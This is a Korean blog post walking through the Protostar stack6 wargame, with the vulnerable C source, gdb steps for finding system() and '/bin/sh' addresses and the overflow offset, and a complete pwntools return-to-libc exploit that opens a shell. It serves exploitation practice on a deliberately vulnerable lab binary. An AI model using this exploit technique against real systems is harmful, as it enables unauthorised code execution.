Protostar stack - 6 함정을 지나 ret하기

2024. 5. 19. 04:56·시스템 해킹
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
getpath();
}

stack6의 소스코드이다

 

 

 

매우중요

이번부터는 무조건 직접 컴파일 하는게 아닌 프로토스타 iso쪽의 컴파일된 파일들을 무조건사용해야한다

!!!!!!!!!!!!!!!!!!!!!!!!!! 환경등 다 다르기떄문

 

 

 

 

 

 

ret = __builtin_return_address(0);

 

return 이란 값을 builtin_~ 으로 받아온다

return을 가져와서 리턴에 뭐가 들어가는지 점검하는 함수이다.

 

 

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

return을 and 연산을 하고있는것이다 

and 연산을해서 return이 포함되는 bf주소를 가지고 있다면 그것을 무력하게만드는 방법이다.

 

ret and 0xbf000000 똑같은 값이 나오면 안된다. 즉 0xbf000000이 아니도록한다.

 

BF000000 And FFFFFFFF = BF000000

BF가 첫번쨰와 두번쨰에 들어가면 안된다는것이다

 

stack5의 두번쨰 푸는 방법을 활용해서 문제를 해결할 것이다.

 

 

from pwn import *

#system = p32(#시스템주소)
#dummy = p32(0xFFFFFFFF)
#bin_sh = p32(#binsh주소)
offset = 76

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process('./stack5')
p.sendline(payload)
p.interactive()





 

sudo apt-get install lib32z1

 

gdb ./stack6

b *main

run

 

 

disas system

print system

system = 0xf7c4c910

작성중인 python 코드에 넣으며

 

find /bin/sh

/bin/sh의 주소도

 

/bin/sh = 0xf7db5faa 작성중인exploit 코드에 추가하여 작성한다.

 

 

 

disas main

b *main+14

 

pattern create 100

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

 

run

 

0x41414a41 해당 주소의 오프셋 주소 위치를 확인한다.

 

0x41414a41 해당 주소의 오프셋 주소 위치를 확인한다.

80번쨰 인것을 확인했다!

 

 

자이제 

system 주소

bin_sh 주소

offset 위치를 확인했으니 exploit 코드를 완성합니다

 

 

 

#!stack5.py

from pwn import *


system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)

offset = 80

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack6'])
p.sendline(payload)
p.interactive()


system 주소

bin_sh 주소

offset 위치를 확인했으니 exploit 코드 완성

최종 exploit 코드이다.!

 

 

 

 

 

 

 

 

 

 

protostack stack6 를 해결했으며 명령어가 성공적으로 입력된다.

 

 

!!!

저작자표시 비영리 변경금지 (새창열림)

'시스템 해킹' 카테고리의 다른 글

Protostar - stack 7 jmpcall을 사용한 우회 방법 (exploit 코드만 작성 )  (0) 2024.05.19
Protostack - stack 5 를 stack6 방법으로 해결하기  (0) 2024.05.19
Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법  (0) 2024.05.18
Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경  (0) 2024.05.18
Protostar stack - 3 pwn 툴 사용해서 공격  (0) 2024.05.16
'시스템 해킹' 카테고리의 다른 글
  • Protostar - stack 7 jmpcall을 사용한 우회 방법 (exploit 코드만 작성 )
  • Protostack - stack 5 를 stack6 방법으로 해결하기
  • Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법
  • Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경
taktaks
taktaks
보안 연습 일기장입니다. 모든 연습은 불법적인 용도로 사용하지 말아주시길 부탁드립니다. 용무는 wndudxkr2005@gmail.com 메일 부탁드립니다.
taktaks보안 연습 일기장입니다. 모든 연습은 불법적인 용도로 사용하지 말아주시길 부탁드립니다. 용무는 wndudxkr2005@gmail.com 메일 부탁드립니다.
  • taktaks
    taktaks
    taktaks
  • 전체
    오늘
    어제
    • 보안 일지 (280)
      • 네트워크 구축 (12)
      • 리눅스 보안구축 (10)
      • 파이썬 기본 (11)
      • Web hacking (39)
      • 통합 인프라 보안 (41)
      • 공격기법 및 탐지 (33)
      • 악성코드 및 포렌식 (93)
      • 리버싱 (5)
      • 시스템 해킹 (20)
      • C 언어 (12)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      프롯
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    taktaks
    Protostar stack - 6 함정을 지나 ret하기

    개인정보

    • 티스토리 홈
    • 포럼
    • 로그인
    상단으로

    티스토리툴바

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.